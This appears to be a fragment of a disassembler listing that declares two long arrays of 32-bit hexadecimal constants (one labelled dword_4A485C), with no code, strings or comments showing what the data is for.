		dd 735CAC99h, 682EE105h, 1BF366DFh, 0A01714C8h,	0B2FFD5C4h
		dd 601389D2h, 27BF0FBAh, 99FF50C8h, 982F5183h, 4E5AE71Dh
		dd 7052D8F4h, 0ECFE9D59h, 0AA65CB50h, 745A7783h, 90B49E20h
		dd 568E0921h, 19804440h, 0A70FFAA5h, 0FD64E979h, 82BE5922h
		dd 85891E1Eh, 0A80F6DFFh
		dd 24049F49h, 0F9C61C86h, 0C508D7F6h, 0A1E4E913h, 0D84B6CCDh
		dd 4071D44h, 78E9669Ah,	3E821217h, 0C6BAB19h, 985F3F65h
		dd 424A2887h, 746B3ACAh, 2A0C31B0h, 1D5FD965h, 680A3FBCh
		dd 60BF2162h, 90104EBAh, 1211748h, 369116C9h, 62C04E9h
		dd 22060273h, 47687F28h, 5C8CFE76h, 59D94582h, 0EC057951h
		dd 0AA69787Eh, 0F7D101B3h, 51E22325h, 3E6C027Dh, 0BC06C15h
		dd 637F0A6Eh, 5A753889h, 17017781h, 0EE890D35h,	0F0451FD1h
		dd 5F875803h, 0B3A97505h, 93E24EECh, 0EEA2610h,	133F2168h
		dd 2A308DBEh, 5052F840h, 1063B68h, 4858656Bh, 3F5CABE9h
		dd 0CCF8A7D2h, 0EF78975Dh, 0A523F030h, 381229EBh, 7ADC598Dh
		dd 0B84E2438h, 2D88B75Ch, 4CB5FF58h, 4C8420BEh,	9F56709Dh
		dd 76296640h, 92988D92h, 0C1CB91B0h, 7A6E7466h,	35582D42h
		dd 0C14860E9h, 264E7459h, 1720195Fh, 0ABE15B5Bh, 23B14A6Ch
		dd 90C00458h, 7B553795h, 9E5E5D0Fh, 27F75A38h, 585A360Eh
		dd 56B39ABFh, 3E51C2DEh, 41A5709h, 9C3C075h, 0C196016h
		dd 17956D68h, 510466AEh, 641B99B9h, 89E09AEh, 29414C8Eh
		dd 78463950h, 51680558h, 0C3D1F938h, 0BF0588E8h, 7E211B41h
		dd 0D6FD298Dh, 0C1D769FCh, 6AEE801Eh, 89DFEAF6h, 0F19F80F2h
		dd 0EA50C9FEh, 9EE6EECCh, 519419ECh, 5FAE2B5Ch,	8BFDEFF4h
		dd 9D47045Fh, 8BD816EBh, 423F1CC7h, 0FE97B02h, 0F408528Eh
		dd 0E2FBB593h, 0BD2EB000h, 136AB813h, 81927287h, 2B0C0970h
		dd 4FEDEA28h, 4EDC8AD1h, 0E917BCF9h, 0B9D0C043h, 0FC4C50FBh
		dd 66CB25D6h, 0E3C12FE6h, 0D60BD05Eh, 0D09FA76Eh, 3F65873h
		dd 1D12EB5Bh, 2C046BF2h, 2B506807h, 1717A8D8h, 77F9166h
		dd 707E7211h, 0A75E0B0Dh, 0EC051800h, 97631F43h, 758D27E9h
		dd 0CDBEE851h, 0C2EE4A8Ah, 2CFF2C52h, 0F441040Fh, 72AD58D4h
		dd 95219481h, 0E1616E59h, 0EF10372Bh, 0FC5CB39Ch, 5629103Ch
		dd 0EA04A048h, 0C21A7044h, 44096C15h, 252EE2B9h, 0CFFE4908h
		dd 9A2D0CE8h, 0D8C4DF75h, 5F9F5B4Ah, 0AF04A248h, 0AA3A2078h
		dd 9112F790h, 0C6504CE1h, 1F49C005h, 27D4AB4Bh,	685F0801h
		dd 8533529Fh, 4F702F78h, 0D02DFE7Bh, 0D20F1BAh,	877D6757h
		dd 0DC1321F6h, 7EE17F4Ch, 0C99D1830h, 0D56BC71Dh, 8BE0C1Dh
		dd 847A56DCh, 54885C5Ah, 0D3EEA280h, 2918302Eh,	9D770126h
		dd 0F7481E77h, 2008454Eh, 0CB905E18h, 0CC1F0A0Ch, 71B4A61h
		dd 2120D42Ch, 8D07FBF1h, 97F249B4h, 9FE8A409h, 9FA0F48Dh
		dd 307F6F2Fh, 80783B87h, 0B598F031h, 0A127C27Ah, 0A9EDA285h
		dd 2FADF179h, 71A85BEBh, 29950F92h, 0A3F17DCAh,	58F1DCC9h
		dd 0BDFF6FE9h, 80E8060h, 0B15158C7h, 605EB826h,	30F00684h
		dd 0B55059CFh, 334023AAh, 7C200768h, 0B25A108Ch, 285477F3h
		dd 7FCE862h, 93E6E2ACh,	0F160BD5Eh, 7E67D27Ah, 10E10981h
		dd 525F08DFh, 50195F90h, 1C680859h, 8F5B1414h, 0EE015825h
		dd 3F7DE987h, 9DEA3817h, 1CEA56B5h, 5AAE7195h, 69A39C5Fh
		dd 915FEFC4h, 3DEC8BE3h, 0BF42929Ch, 77FE0ABh, 28E21360h
		dd 56107DB8h, 0DCBD08B4h, 58C839D7h, 0BA82DF16h, 22BE1FD0h
		dd 13912644h, 0AAF92FCCh, 0B09462h, 1C8BD801h, 0FA575EBDh
		dd 0EEF01268h, 0BDDF39C8h, 258E9B13h, 915EEE6Bh, 3153AFD2h
		dd 1601C713h, 0E67C5BC2h, 28A1F5FAh, 4CF525E9h,	0B80750F0h
		dd 12E1161h, 0CB92ADD7h, 0D240F53Eh, 5E03D52Dh,	0D9056E41h
		dd 0AB0A5F36h, 0BE703C06h, 0A2FAA06Bh, 0B4A2F78h, 96D784E2h
		dd 1D8D25E3h, 0FC7A4ADCh, 0BAE9C584h, 0B00CCE58h, 16121F13h
		dd 7B13E01h, 0F8EED127h, 0C89F6A68h, 573A21h, 0F381258Bh
		dd 3399448Ah, 4FDE895h,	0D68582CEh, 0AF5A958Ch,	0CAAB7D74h
		dd 430C10CDh, 0CF027A49h, 647A0EFFh, 0AB15CF60h, 0F2C48D25h
		dd 0A3E90BE7h, 2A028F6Ch, 5EEC774Fh, 0DBCB21E8h, 3B5759EFh
		dd 0DDE4B87Dh, 59377F98h, 50673F0Ah, 0CDDF098Ch, 0F1452D15h
		dd 0C660E985h, 84AB13D4h, 1080AACEh, 8A709ADh, 9A77E930h
		dd 5809B720h, 5D7A705Bh, 409EBFAh, 0D5382DACh, 1F4A71A2h
		dd 163AC320h, 303090ABh, 0EE17A58Ah, 621D2FF1h,	51A6017Fh
		dd 49980820h, 5716E905h, 61D70541h, 1212E544h, 0C3CABB99h
		dd 39E9C99Fh, 40689721h, 0F155C20Ah, 0E87DCB11h, 0DD945F63h
		dd 45358913h, 38059F6h,	0B6F18149h, 2A1B13A1h, 0EB3B1251h
		dd 0D00C2F92h, 4AFE9722h, 51069F39h, 827B900Ch,	7E9E4C2Ch
		dd 3531B57Fh, 3FFCD23Ch, 2B374FBh, 850FDB09h, 0BA6874CAh
		dd 22966FC4h, 0A01F862h, 0F0EF1602h, 0E84FD1AAh, 0D5226AE1h
		dd 365B1316h, 0C455A6A1h, 0D8F06FD5h, 0AF6C4FB6h, 8EEFA324h
		dd 709358D1h, 0D7F41B59h, 0C3EDDE35h, 0A3AEE908h, 83E18100h
		dd 0EC58880Ah, 10620BC9h, 10802F9Eh, 61A12295h,	0BB07CFB4h
		dd 0D32EF714h, 7B36B501h, 40DAD10Ah, 2F626648h,	76CA64F2h
		dd 43E65B5Fh, 0F7139925h, 0EB833EFh, 62E70DCFh,	0B07D0B27h
		dd 556768CEh, 862C157Ch, 69165B3Eh, 22E355h, 5FC97C14h
		dd 82BCF9E9h, 50557E62h, 645E5AA0h, 0BBE2BF38h,	6265E9C2h
		dd 3F7F3157h, 0ED797FD6h, 89BC5792h, 550B20A5h,	0DE026856h
		dd 0E96C9F16h, 2D0F48E0h, 0F1F40Bh, 0D0F74855h,	80516D35h
		dd 0C1297514h, 53E900C0h, 5E62F405h, 5ABEEE50h,	407AA23Eh
		dd 4D96E0EFh, 3F632F83h, 246AD966h, 0E89BD12Bh,	2D2280E2h
		dd 3756476Fh, 906BED5Fh, 0D03CE9ADh, 0E9EC2EBDh, 0DF5AE201h
		dd 57985867h, 1633A5CAh, 0BF5E3A79h, 14EB0B95h,	0BF4B27A3h
		dd 495B5F2Ch, 9E2AF479h, 0CD19796h, 6B7B5D52h, 10EA5393h
		dd 114D9278h, 0C0AFEA3Bh, 1CF7E362h, 13C5421Ah,	0E18059E9h
		dd 13825A35h, 0FA312B43h, 4AE53D43h, 0FA0CE6AEh, 47E75865h
		dd 97DFB326h, 0D639FF5Bh, 1D2F6640h, 0A5295B3Bh, 82080429h
		dd 0D1F7A251h, 0AB5DCBCEh, 0C64359E9h, 0E29F6B5Ch, 35E0D5FFh
		dd 4D2E2527h, 85022568h, 0F7C1E805h, 0BCD0B90Bh, 0F15EC220h
		dd 4AF336D9h, 0B606820Ch, 60F59191h, 4A609400h,	37605E52h
		dd 90EDF816h, 56100A7Dh, 209BFD01h, 624ECB08h, 7F25425Eh
		dd 1608AAE5h, 3B531D56h, 0DF639F98h, 7D2D4EE1h,	9F2F0B0h
		dd 3392C8Eh, 0E93E85D5h, 8EE89016h, 0F70BAE3h, 2E7D504Ch
		dd 7CB300C7h, 55DEC12Ch, 0C7F80EA7h, 0F8FC22CBh, 0D8539FE9h
		dd 6B7FD949h, 5A42CA53h, 0FD28921Bh, 7C6B7251h,	9D4B8C85h
		dd 7FECAD90h, 0B9905B4Eh, 4E3623F7h, 413DED0Dh,	0ECCE0208h
		dd 88EAE90Bh, 0AFA5172Eh, 1A847C85h, 0C0ADC792h, 88097A0Ch
		dd 0C59F0651h, 0E642A784h, 0A413C5D5h, 80A00878h, 28596602h
		dd 1AEFF1C2h, 28754F37h, 7D5A2CBEh, 72DF296h, 3DFCE67Fh
		dd 0CC93ABB5h, 0A5D0EAF7h, 2F9098C6h, 207F3C5Bh, 9121F5EEh
		dd 0B21B087h, 3A626FECh, 52381AC1h, 705FB9ECh, 99E2B5E1h
		dd 0F5E948Bh, 685105BAh, 83650B64h, 0E9D745ABh,	8B0F0C1h
		dd 8058E100h, 536669C9h, 30991DB3h, 2C5B80D9h, 0D844E9FDh
		dd 0F2D61BB5h, 85545582h, 8354A478h, 0C43A8EDEh, 0DF899F7Dh
		dd 6FB90A52h, 0F58ED01h, 0DBD141B0h, 67CB76EAh,	0D8F6B1C8h
		dd 0EF5B92F2h, 292138FBh, 0BD71DF41h, 9FD4EA5h,	4B20FCF6h
		dd 26F2F5F4h, 0BDAB4FEAh, 0AD54868Eh, 0D6931915h, 1C606880h
		dd 594B4B28h, 76012AFCh, 0E95CC948h, 3B0865FEh,	5D7B18F3h
		dd 694ABAF3h, 0BB8B5462h
		dd 688380A7h, 0F31126BDh, 0C44B6646h, 4AD0F9A5h, 7058AF8h
		dd 0C2705B1Ch, 0F70F75D0h, 266B33E5h, 0C34FF562h, 0B3EC1B16h
		dd 0EEB85000h, 8309D23Ah, 40FFC000h, 8205110Dh,	0A502B70Ah
		dd 72F58A5Ah, 0A0681743h, 50D3613Dh, 0F75E0273h, 3A2FD9CCh
		dd 0F6335F78h, 0A75EF57Eh, 2A5284E9h, 884B9C13h, 0B0B05FFh
		dd 460A5C58h, 412FB068h, 48F49F84h, 0B464389h, 9F5BD839h
		dd 0F85E9A5Eh, 0ACB24E1Bh, 1685F13Dh, 72238105h, 0EFB8046Eh
		dd 9559C707h, 91C249F6h, 0D424D15Ch, 2D680402h,	0B8E90132h
		dd 9EB3626Fh, 80409AD2h, 8959CF29h, 0C64CBDFDh,	4E306090h
		dd 8BEB3BB1h, 0CFEDFEF0h, 92FE5478h, 107E1276h,	0B5A0808h
		dd 0D385B2EEh, 80F100Dh, 4B0E274Ch, 97B76E10h, 60C4F005h
		dd 0FB841A8h, 7E6D8F25h, 6C7FE916h, 4A169002h, 108DB39Dh
		dd 0EA5F622Fh, 8FF97512h, 92DBD140h, 76C0BDAAh,	209F6943h
		dd 304757E9h, 5BBA343Dh, 0D6B0EB0Bh, 685A0BD1h,	5F9724Ch
		dd 0C6201889h, 26E62099h, 5104E198h, 0E57C6EB9h, 0C52F01EAh
		dd 80740E1Ah, 3B71270Ch, 626FE9C2h, 2D403205h, 0DA958952h
		dd 745A094Eh, 8770206Ah, 0B71237F0h, 0B20903C8h, 0BD1E5D58h
		dd 76896817h, 2F7A8AF6h, 4984767h, 6F9808A8h, 7DBA5212h
		dd 0E939B602h, 4EDF5073h, 6974EA5Eh, 775D01C0h,	2038E5EEh
		dd 0E908A075h, 0F8F25F87h, 1D7294EAh, 0E3ED93DCh, 0C6BBDC75h
		dd 0C7101A3Dh, 0C0452457h, 80B7952Bh, 26142E53h, 0AA21ECF9h
		dd 5BD739B5h, 13BDE73Eh, 97F1DBE9h, 0D385773Fh,	0B97734FDh
		dd 1E2BC902h, 43E1C16Fh, 254C2D3h, 0E862B753h, 0EB6AC40h
		dd 0CA685186h, 59DE447Bh, 78EA102Ch, 3606712h, 4A62B2EBh
		dd 0E99005EFh, 51F2F0E0h, 110C92C0h, 0BB9636Ch,	9C93EEF8h
		dd 4320D352h, 70BB0448h, 80523F59h, 0C0A694F4h,	1B52AD5Ah
		dd 58ADCFBEh, 7B932F4Fh, 9BA7BDD3h, 5E59ACC0h, 0AE42979Ch
		dd 45E29002h, 0F2964827h, 0AACDF03Eh, 0FF575B71h, 3C8BD131h
		dd 0F529EF2Eh, 2104F22h, 2C5B3B51h, 298F8520h, 73FAA5D1h
		dd 87DA44F3h, 0B6EBD104h, 0DD8F5FAFh, 84F6B85Eh, 88CAF53Bh
		dd 0D7000F4Ch, 5317F2Ch, 625759Dh, 8318E01Ah, 14DF0743h
		dd 135E8D1h, 2A4FCD8Dh,	0C6CA26FAh, 31F26652h, 0CE889FDDh
		dd 0F676072Fh, 4F12CDD4h, 5B061331h, 72DF8EFFh,	0B90011D2h
		dd 145FE38h, 70550F8h, 2BF22F68h, 4050B418h, 216FC7BEh
		dd 72CA75FCh, 0E31B241h, 2762497Fh, 0F0481CC1h,	1BBF1C41h
		dd 0F8B4FAC4h, 8A68139Eh, 204F625Bh, 79975550h,	4F951F82h
		dd 0AFCB10B3h, 5C487258h, 138E8180h, 0E4F92892h, 955DB064h
		dd 2B893DB8h, 7F585B2Fh, 30509516h, 3177D015h, 137D5848h
		dd 0CCFE76EDh, 8640335Bh, 549FFE51h, 0FE5AAF8h,	326C430Ah
		dd 5292D27Ch, 4E0B9A53h, 0AE9C28AFh, 8138074Eh,	38A227E9h
		dd 0A956BF2Bh, 9F1C0E4h, 0C015E82Ah, 447032AAh,	207490F7h
		dd 0BB027A36h, 4C5950F8h, 6B57C143h, 83C7F5A6h,	3B3D0BE5h
		dd 3CE20C5Ah, 0A2613A27h, 0D3B02A4Fh, 794D2708h, 74052955h
		dd 0B635E211h, 81CD1075h, 642913CDh, 0C476E5BBh, 75973E04h
		dd 0ECF7588Fh, 0B58DB855h, 0D74B0C5Ch, 4F14EB68h, 4AC28080h
		dd 1076BC34h, 744BF747h, 6004FB99h, 68020564h, 6ED53C6Dh
		dd 7CFF242Dh, 588240A1h, 4598258Fh, 0C8E63C01h,	0D3B5E914h
		dd 25D1CC2Bh, 2B39C45Fh, 1759B96Eh, 9EC056E9h, 4948840Fh
		dd 0FA197BCAh, 96B1E176h, 6DEF5D8Dh, 668421C8h,	26445B2Eh
		dd 0B800A061h, 6596297Bh, 9865A498h, 0B0D7F7A9h, 0FD0EDCA2h
		dd 2CF21EB6h, 0C505F1B7h, 4FADE8DEh, 81FF9095h,	21CF87A2h
		dd 6B2E3231h, 98A0008h,	0B96360Dh, 0E3747B2Dh, 29084E89h
		dd 0B3F92507h, 25E9074Ch, 0BEF4E846h, 6A2BE153h, 5EC55D54h
		dd 525B0FC2h, 11C9A046h, 0B97AE19Ah, 1344D2DCh,	32CC0D73h
		dd 0CDB40150h, 0E328D2B3h, 7B447B58h, 5EF018C6h, 0CC9C4E21h
		dd 6540076Fh, 0E02D0059h, 17B0A3Eh, 7A305F0h, 0C155D0E1h
		dd 0F7D35509h, 0EEE90827h, 0DF501EA2h, 8C652E8h, 0F60C30A5h
		dd 488004DAh, 0F3121ACAh, 961BB88Dh, 69EC69FBh,	0FF572426h
		dd 1F054E40h, 0CCE92E07h, 15688BA6h, 9859467Ah,	5B045925h
		dd 0E2B1BABCh, 21B36007h, 7D0E5A00h, 0DFF7EFD1h, 92524850h
		dd 0C02BB345h, 0D5851628h, 6F90294Fh, 71764638h, 22FA4801h
		dd 40410841h, 0CC2EFC41h, 4B0986DBh, 68682CE2h,	49B0E913h
		dd 0C407E964h, 53DCF671h, 0CCC15DE4h, 20ECEDAEh, 0F840486Fh
		dd 914E8BEh, 0F589779Dh, 0FD4CD084h, 808F1304h,	16DBD31Eh
		dd 0DCE882B3h, 0FEAB00EFh, 80DFF6CFh, 5678EF62h, 0C8B7A15Ch
		dd 16303159h, 0E24A41BCh, 82F81DDh, 0A32C66CAh,	73E90283h
		dd 163D1C5h, 0B0E77BF9h, 2C2B0F92h, 0AA4A165Fh,	80FAF034h
		dd 0F1893B59h, 0CA01E239h, 3310FAE6h, 506612C3h, 585CE4BEh
		dd 39E18620h, 0F54CCF88h, 84341126h, 0FA21E368h, 0EAD2A8CAh
		dd 0D21C8BCEh, 0B47D25A0h, 50A2FE3h, 75C1A7A2h,	9CF9FB0Dh
		dd 0F7CCE865h, 0A581B5DBh, 708DDC1Ch, 0C5E6D310h, 0C6A17560h
		dd 761609ECh, 3AF6002Ch, 8340A37Ah, 329001EEh, 0B528E300h
		dd 5B2F252Eh, 48550F3Ah, 10EE720Dh, 4CE957A1h, 0CDDE5134h
		dd 2246C59h, 0FF523BEDh, 703CC07Fh, 3A582B46h, 222BECDh
		dd 708B649Fh, 0A49CA594h, 6E7588F6h, 2EDA3500h,	92D5AC0h
		dd 0CF10A70Eh, 48D7A0E2h, 9B4F5CAh, 87233926h, 906E4C02h
		dd 0C9E6C577h, 0C0694AF7h, 974BA4A6h, 62430CA1h, 26B6CCDh
		dd 73E21BF2h, 875B6021h, 0DCCC90D6h, 857ED04h, 50282F6h
		dd 571F78h, 0F2E93AE2h,	0A9B4439Dh, 97352E18h, 0F5BB002Eh
		dd 5B23E63Fh, 8B03FEB7h, 13AFF6E9h, 8BEF0172h, 0F1649A38h
		dd 5BDF2870h, 4D0923EBh, 525CAF12h, 25FB2956h, 8D686162h
		dd 50580194h, 0E30A0F7Eh, 909EDA64h, 0AE25E85Eh, 59A60C64h
		dd 2E2A5CE1h, 4EF81253h, 5A03D954h, 0BEDBF38h, 146C0CAAh
		dd 578DCA75h, 33E79789h, 1ED379AAh, 0AEB4DDECh,	41751DCCh
		dd 0BADE0148h, 6BBC2F81h, 29B1189Bh, 0CE87E4F1h, 38FD59F8h
		dd 8CC03E4Eh, 2239A805h, 0C22DFCF0h, 22AAE90Eh,	5E5D1E68h
		dd 6FE90979h, 0DDEFACC4h, 0E9255823h, 0CAFC7A25h, 0B12FD5Fh
		dd 6861D651h, 7E2C5259h, 4A29E9D7h, 582776BCh, 0FF2D11FCh
		dd 5B2F683Ch, 3E3EE578h, 509EFC15h, 0C0818002h,	9884FE29h
		dd 5FBDF854h, 929F33A2h, 4B38F9EFh, 4A52CDEDh, 0AB560117h
		dd 5B7908CBh, 0A4ACB80Ch, 0CC87CDA0h, 0E7A5498Ch, 5B63E009h
		dd 0CFF8C332h, 39D8C530h, 0C14ABC9Ah, 0C64E18BCh, 0CAD4407Fh
		dd 0AD42C0A2h, 4947FE2Dh, 0CA9452FCh, 76DD84C2h, 6D0262DFh
		dd 0EF980256h, 6AABBBDh, 83077E44h, 0E30592EBh,	73C950C0h
		dd 3AFEE280h, 26E9F092h, 6B0F5A5Fh, 2DFB64CBh, 2B790B87h
		dd 7A15FE69h, 0AD8D6F7Dh, 557AC55Eh, 0E9169DC4h, 0DAA73A90h
		dd 1079A84Eh, 59150A38h, 0D6CB8851h, 334AD2D0h,	0F59477FBh
		dd 9CA5632h, 0BC96D884h, 0F6EA682Dh, 0D3B1618Dh, 90783480h
		dd 0B800259Ah, 1531F72h, 7216505h, 0D8F74FE8h, 0A7401748h
		dd 0AC3B35DCh, 59C70BD9h, 0A41C0270h, 3D266596h, 0E32B779Ah
		dd 0AD9DF705h, 56C10424h, 5C816436h, 0C21045A5h, 0C0255BA3h
		dd 8258F20Ch, 0C07A4C08h, 7105607Bh, 0A404B90Ah, 1F58EFAh
		dd 6ECA84B0h, 0E4F67059h
dword_4A485C	dd 250CEB60h, 0C2F1464h, 0E0227FAh, 509FBD80h, 37986A98h
		dd 38AEB75Ah, 0AD91C6F5h, 62BCF301h, 4A816520h,	0A9EC819h
		dd 11247C57h, 0F20E59CBh, 20295FC4h, 5AC04957h,	0CB27A66Ah
		dd 9766F0D7h, 0E9E2B671h, 24C97CF1h, 5956E2C2h,	58615677h
		dd 0E9181C4Fh, 0C6951BE7h, 0AF9C027Fh, 5EF2899Dh, 92A1635Fh
		dd 44005F3Ah, 8644DEF7h, 0DD89032Dh, 3ADF6C0Eh,	1E8B6216h
		dd 20D435C1h, 4E582C59h, 16D45050h, 1331717h, 1EA4816h
		dd 0E66C10D9h, 7BE1FC1Eh, 3083620Fh, 2825C8E9h,	86B52719h
		dd 1B56F64h, 25E1684Dh,	0AD101476h, 0D7BF4A5Dh,	0AFA6A278h
		dd 0EDCED6A0h, 7D4ED31Ah, 4E3FE8E8h, 52197496h,	588C01C6h
		dd 6A4A8A68h, 7C157961h, 0E13E37F1h, 0E9E6001Eh, 0C8749783h
		dd 5FB97930h, 311F41E2h, 0FDE40C82h, 6E04D906h,	0EDD5B5FDh
		dd 472DEF5Bh, 1049A32Bh, 0AE4B4763h, 706FDD21h,	6882307Ch
		dd 0F8A43606h, 0DFCFA82Eh, 0D16EE64Bh, 0FB8B479Dh, 0B364D5Dh
		dd 7C5C03E5h, 4EA32DB7h, 0BF88028Dh, 4C1C539Fh,	7664FF80h
		dd 0E9161E37h, 0AFB42289h, 20061379h, 45F90D59h, 5557D106h
		dd 4CCBEBC0h, 5729BB80h, 0FAB57FC9h, 4A1F49F7h,	0FA840F04h
		dd 281B45Bh, 270A09E0h,	72047C7h, 0AB5F3110h, 51529D31h
		dd 582CB96Fh, 9B9FC65Ah, 0CAB90412h, 0AA075270h, 0F23F00A1h
		dd 8DEBD7BDh, 58190014h, 94A0478Fh, 84A998FEh, 86D86ED3h
		dd 0B4DF97BAh, 0D93433EAh, 31A0BA86h, 0AB0715Bh, 54F29880h
		dd 4BC00812h, 15069201h, 0F1F02AD7h, 4B509E0h, 608B31E3h
		dd 0C3939C5Ch, 43B021FAh, 0D57B07A6h, 25FF9E46h, 0B3446F21h
		dd 0ED161DCBh, 0BEC5801Eh, 95284D51h, 80CB4EAh,	7703301Ch
		dd 3CE96570h, 80660E69h, 0EE6187C6h, 0F5BF0441h, 82FB4995h
		dd 0A76C28EEh, 3D785C77h, 900A2C2Ah, 8A8227EBh,	2927E69Ch
		dd 10B6137Ch, 56ED02Ch,	2FDC68ADh, 47D4A344h, 653E9314h
		dd 2454B75Ah, 0B743AC08h, 0EB9B2545h, 8F6589F7h, 678EA6F1h
		dd 9CEA051Bh, 922CF723h, 882C22Eh, 7B525Eh, 5A967427h
		dd 9D721E75h, 746932C4h, 56F1D587h, 558CCB62h, 0F5E24E5Eh
		dd 0CF29028Bh, 4475A742h, 8CB532B5h, 0A5776925h, 0D584F121h
		dd 52E892F1h, 96EEFE54h, 0C45B121Eh, 54CEAEC8h,	0A578E85Bh
		dd 5C04508Bh, 0BA635868h, 8274248Ah, 6FACC406h,	5F1D895h
		dd 0BBF57735h, 45E0AB7Fh, 0F4544BA1h, 1A4C2FCEh, 0F55C96Dh
		dd 3E4AE2F1h, 0F4615D29h, 0B187404Dh, 0D626C1B5h, 2E0BC301h
		dd 687DA150h, 346F6249h, 971D85C8h, 143BE252h, 0BF0DB4DDh
		dd 94B69F9h, 9FF19452h,	5B4B541Ch, 0BEA696E8h, 5E552602h
		dd 7812E937h, 0D3208223h, 0FB5A6B35h, 3C014C0Eh, 0C8746844h
		dd 88B3210Ch, 2E3EB0CAh, 12FCCC7h, 5CC568F9h, 30FB77C2h
		dd 0DC655F25h, 0BA2C4849h, 80598048h, 4A7FEB3Ah, 9768EB42h
		dd 42C85C6Fh, 1057440Dh, 9E0F61E7h, 46BD87BBh, 0A902285Bh
		dd 0F5DB18E4h, 0F3BAAF80h, 495A0776h, 0AB101AECh, 0BB94C7Ah
		dd 0A01B2002h, 6743D9C7h, 34877669h, 8108D5F7h,	0E807AB76h
		dd 709F09F4h, 28FA2098h, 0AE98B73Ah, 0F917AFEFh, 0C10504AAh
		dd 0F083BBCAh, 0A4C2B82Dh, 2FE9F228h, 45123F01h, 71A1A45Fh
		dd 0C30369EDh, 45C1499Eh, 7F10CFD9h, 41CD7128h,	38C50380h
		dd 0FA5B3924h, 2D9C00CBh, 8139F005h, 7B0DAF2Fh,	53BD4231h
		dd 5CDF7809h, 522623F0h, 8C41275Dh, 6DD2B5Ch, 0FC3BA831h
		dd 0DEA05A7Eh, 77525975h, 0A517538Ah, 984C9D0h,	6AF7E97Ah
		dd 4A3DB1CCh, 6C1A9829h, 4B01E240h, 47BAC0CFh, 16049F2Dh
		dd 0A202E405h, 0A0E6C4AEh, 7048BAC1h, 16383D04h, 61B5775Bh
		dd 9540D9DCh, 4E04017Bh, 74E00954h, 45130244h, 84B4E949h
		dd 0C0C7FE00h, 5A027AE7h, 0EA1C17F8h, 0EE51404h, 0AA6724EAh
		dd 0D7F7D021h, 3C42B547h, 0B852E053h, 8E109F9Ch, 8482497Bh
		dd 2CAADE60h, 0BB4135B0h, 0F3B4B07Eh, 9A843070h, 31527CA8h
		dd 6331795Fh, 0DEF27E57h, 0AC7884h, 0F402DE68h,	0ABE5C049h
		dd 5560D109h, 0DAB55F79h, 73C20551h, 80779633h,	7C1D32FDh
		dd 5A0C5660h, 2CC8B6B2h, 0A77E21E9h, 5620897Ah,	31AD2538h
		dd 221E19Ch, 48E98B2Eh,	0B801D958h, 505B1341h, 0AE41E8C1h
		dd 0F226C03h, 84944A77h, 0AA98EAC1h, 7B729795h,	4EB5CB05h
		dd 0A4C679A3h, 26BA9077h, 63E440D7h, 0E5D3C331h, 0E3B7FE9Dh
		dd 0FA27D84Ah, 0E90455B9h, 0ECB9F1CCh, 5BDD58C9h, 3D68C13Dh
		dd 26C85218h, 0B802807Ch, 0E0074B1Ah, 97C29856h, 0C777947Dh
		dd 972E33Ah, 503B71DFh,	789FD929h, 0B07797F4h, 4D5668F1h
		dd 0DD80EA47h, 0E9734E07h, 2880674Eh, 0F0808DB1h, 0EBF6BF1Bh
		dd 420D83Ah, 0D6F6CE88h, 496BBF88h, 0FE356AABh,	0E288BFF2h
		dd 6570492Bh, 8C26D83Dh, 524F896Bh, 0B90063F9h,	33895D2Fh
		dd 0BFF10081h, 0E9266B05h, 0D99D11EFh, 0BA5CC5C8h, 89C39B03h
		dd 0F8C79C28h, 0BF3D065Ch, 18625254h, 0BA98F741h, 98BF3727h
		dd 0BFD77CC8h, 5051C3D4h, 0CAFE10F9h, 5D3FC2A4h, 5040A271h
		dd 0A62D1068h, 0B95102A3h, 7D6C0679h, 3C2F3041h, 0E65A2469h
		dd 0DFAC2C1Fh, 820FFADh, 0B5F38143h, 0A4CA0E8h,	4C2301E2h
		dd 0DD299058h, 82C64720h, 78682460h, 0C1307A5Ah, 9F44DE0h
		dd 6034E93Ch, 38671857h, 4A6282DEh, 51DBEA75h, 37E94114h
		dd 52B274D4h, 0B4506602h, 57E2884Bh, 0AE956410h, 0EB01DEB7h
		dd 0ECB62F1Eh, 7D46BE8Bh, 114C6968h, 0CE0DB991h, 49201AC1h
		dd 480B7835h, 0EA02B538h, 0EAD71D5h, 0E1B42260h, 896AF51Eh
		dd 44C3CCFFh, 0FCB55F83h, 4E75EB8Eh, 0D3882E1Eh, 0AC0C13F8h
		dd 0E9D8C72Ah, 753E622Bh, 23FE1AE0h, 0D64CF7E8h, 5717328Ah
		dd 12FCDED8h, 502EFB12h, 4C41BB10h, 1C702085h, 0C97CEF80h
		dd 0FD4FDF7h, 0BFE0849Fh, 0C5F7C762h, 0D1C42DE3h, 840FC905h
		dd 43B820D8h, 17459BE4h, 0A2BD8A99h, 8CDFEF25h,	17C10CD9h
		dd 0EB0BB467h, 8049984h, 0E3BBD768h, 6B0710C4h,	0C1BB5A01h
		dd 6A5916B5h, 4D687407h, 828459EBh, 12DC3947h, 752CF855h
		dd 345C4A5Ah, 5B110B00h, 2FC1457Dh, 13A6C5Bh, 68212965h
		dd 0F22813B2h, 0E475FACBh, 55F034Bh, 22307A98h,	0B10742A8h
		dd 2DAC6650h, 0C46807A0h, 0E6CB7854h, 65E7C94Eh, 8D64BA4Bh
		dd 9068EBB4h, 80C697D3h, 4B3FA838h, 4C608FEEh, 0F3124B00h
		dd 4CF400Fh, 0CAFA62A9h, 79A4E68h, 0C153884Bh, 2A683E40h
		dd 804306B9h, 50640AF9h, 8C7EDE3h, 2500566h, 0B62BEC02h
		dd 0BC28FE1Bh, 0C0A7C981h, 37FE89BCh, 0ADC6015Dh, 5690D6BBh
		dd 4097AB20h, 0F47288B3h, 76204B98h, 509B758h, 189BC56h
		dd 0E01585CBh, 2D7BA429h, 0DC886FA4h, 0F46728D1h, 8303FEA3h
		dd 0D5A96FDFh, 880EEF59h, 84F54FDEh, 0E9BD5046h, 57969B05h
		dd 908CEBC2h, 0C9554F80h, 0DAE96088h, 7355A06h,	160BD8B9h
		dd 1F58C131h, 0ACB7642Eh, 0FCA5EF34h, 5961BA44h, 798155A1h
		dd 0B70CC9EDh, 2533300Fh, 2C1E161Ah, 2F97544Eh,	24272E95h
		dd 92BBA15Ch, 0EA77EEA2h, 0BE407754h, 0F6BFAB9Fh, 8D154E0Fh
		dd 0FF7A593Fh, 9329EA2Bh, 5A12CB42h, 7F460B94h,	0F4005A34h
		dd 4A673EC7h, 40DA0925h, 267066BDh, 269D2F9Ch, 735D1033h
		dd 0FB10259Fh, 0F73A2CF1h, 77597D78h, 3B654BFBh, 0EAF9DCBAh
		dd 0F7ED83BDh, 3A13B9DBh, 0BD5B7169h, 0DCED5A17h, 0D496D913h
